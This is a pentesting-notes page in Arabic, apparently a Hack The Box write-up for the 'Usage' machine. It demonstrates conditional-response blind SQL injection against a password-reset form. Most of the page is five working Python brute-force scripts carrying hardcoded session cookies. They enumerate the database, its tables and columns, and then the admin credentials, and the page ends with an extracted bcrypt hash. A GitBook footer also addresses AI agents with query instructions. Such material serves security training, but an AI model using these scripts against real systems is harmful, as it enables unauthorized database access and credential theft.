> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# استجابات SQLi الشرطية

## حقن SQL:

نكتشف لوحة لإعادة تعيين كلمة المرور معرّضة لحقن SQL

<figure><img src="/files/1e305a367ce187520be4999729ae425c83ab2e77" alt=""><figcaption></figcaption></figure>

. عند اعتراض الطلبات باستخدام Burp Suite، نحصل على الرسالة "*لقد أرسلنا كلمة المرور الخاصة بك عبر البريد الإلكتروني*".

<figure><img src="/files/9009bbec3442a714327b43552ac93ed7790b3737" alt=""><figcaption></figcaption></figure>

عندما نحاول تنفيذ حقن SQL أساسي، ينجح ذلك ونستلم مرة أخرى نفس رسالة الخطأ، مما يؤكد أن الحقن يعمل. اختبار الحقن الأساسي هو: `iojfeifif' or 1=1-- -`

<figure><img src="/files/9a0361958e757f9c39bd1b28b51aa7f7527467c4" alt="" width="563"><figcaption></figcaption></figure>

### استجابات SQLi الشرطية:

> على الرغم من أن نتائج استعلام SQL لا تُعاد ولا تظهر أي رسالة خطأ، فإن التطبيق يعرض الرسالة «لقد أرسلنا كلمة المرور الخاصة بك عبر البريد الإلكتروني» على الصفحة إذا أعاد الطلب صفوفًا. نتحقق من هذه الفرضية عبر إطلاق حقن شرطي باستخدام الدالة `substring` لاستخراج الأحرف الأولى من اسم قاعدة البيانات. مثال على الحقن:

* اختبار الحرف الأول من اسم قاعدة البيانات:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* اختبار الحرف الثاني من اسم قاعدة البيانات: `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/25646d0fd9eb4bdadcbb220cbf7cedb7b2510529" alt=""><figcaption></figcaption></figure>

### تعداد اسم قاعدة البيانات:

نقوم بأتمتة اكتشاف اسم قاعدة البيانات باستخدام برنامج Python النصي يرسل حمولات محددة ويسجّل النتائج عندما يعرض الخادم الرد «لقد أرسلنا كلمة المرور الخاصة بك عبر البريد الإلكتروني».

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# استجابات SQLi الشرطية
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# استجابات SQLi الشرطية
signal.signal(signal.SIGINT, def_handler)
# استجابات SQLi الشرطية
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)
    p2 = log.progress("البيانات المستخرجة")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)
            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")
            # التحقق من ردّ محدد من الخادم لتأكيد صحة الحرف
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # إذا تم العثور على حرف لهذا الموضع، فانتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")
    p1.success("اكتمل استغلال حقن SQL بالقوة الغاشمة")
    p2.success(f"البيانات المستخرجة: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/e454e392928d6effcd50300a9b7495c43f39900c" alt="" width="440"><figcaption></figcaption></figure>

### تعداد قواعد البيانات:

نُعدّل الحمولة لتعداد جميع قواعد البيانات على الخادم. نستخدم `group_concat` و `information_schema.schemata` لاسترجاع أسماء قواعد البيانات المتاحة.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# استجابات SQLi الشرطية
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# استجابات SQLi الشرطية
signal.signal(signal.SIGINT, def_handler)
# استجابات SQLi الشرطية
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)
    p2 = log.progress("البيانات المستخرجة")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)
            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")
            # التحقق من ردّ محدد من الخادم لتأكيد صحة الحرف
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # إذا تم العثور على حرف لهذا الموضع، فانتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")
    p1.success("اكتمل استغلال حقن SQL بالقوة الغاشمة")
    p2.success(f"البيانات المستخرجة: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/38768018a68146910106aabac7afa85adb8e6fe3" alt="" width="563"><figcaption></figcaption></figure>

### تعداد الجداول لقاعدة البيانات `usage_blog`:

بعد العثور على `usage_blog` قاعدة البيانات، نعدّل الحمولة مرة أخرى لتعداد الجداول في هذه القاعدة. نستخدم `group_concat` الدالة لاستخراج جميع أسماء الجداول من `usage_blog` قاعدة البيانات.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# استجابات SQLi الشرطية
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# استجابات SQLi الشرطية
signal.signal(signal.SIGINT, def_handler)
# استجابات SQLi الشرطية
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)
    p2 = log.progress("البيانات المستخرجة")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)
            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")
            # التحقق من ردّ محدد من الخادم لتأكيد صحة الحرف
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # إذا تم العثور على حرف لهذا الموضع، فانتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")
    p1.success("اكتمل استغلال حقن SQL بالقوة الغاشمة")
    p2.success(f"البيانات المستخرجة: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/697db0dd510c7f19019d125d44aa079c7f23a7ad" alt=""><figcaption></figcaption></figure>

### تعداد الأعمدة للجدول `admin_users`:

بمجرد تحديد الجدول، نستهدف الجدول `admin_users` لتعداد أعمدته. نستخدم مرة أخرى الدالة `group_concat` لاسترجاع أسماء الأعمدة لهذا الجدول المحدد.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# استجابات SQLi الشرطية
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# استجابات SQLi الشرطية
signal.signal(signal.SIGINT, def_handler)
# استجابات SQLi الشرطية
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)
    p2 = log.progress("البيانات المستخرجة")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)
            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")
            # التحقق من ردّ محدد من الخادم لتأكيد صحة الحرف
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # إذا تم العثور على حرف لهذا الموضع، فانتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")
    p1.success("اكتمل استغلال حقن SQL بالقوة الغاشمة")
    p2.success(f"البيانات المستخرجة: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/f7e7fbeb7dd6969b1806e607814bd0c5ccdaac59" alt=""><figcaption></figcaption></figure>

### عرض `اسم المستخدم` و `كلمة المرور`:

لعرض بيانات الاعتماد وكلمات مرور المستخدمين في الجدول `admin_users`، سيُعدَّل استعلام SQL بطريقة لربط الحقول `اسم المستخدم` و `كلمة المرور`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# استجابات SQLi الشرطية
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# استجابات SQLi الشرطية
signal.signal(signal.SIGINT, def_handler)
# استجابات SQLi الشرطية
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)
    p2 = log.progress("البيانات المستخرجة")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)
            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")
            # التحقق من ردّ محدد من الخادم لتأكيد صحة الحرف
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # إذا تم العثور على حرف لهذا الموضع، فانتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")
    p1.success("اكتمل استغلال حقن SQL بالقوة الغاشمة")
    p2.success(f"البيانات المستخرجة: {data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/fd8c436a5de909d886892ca7b779e4d567962ce6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
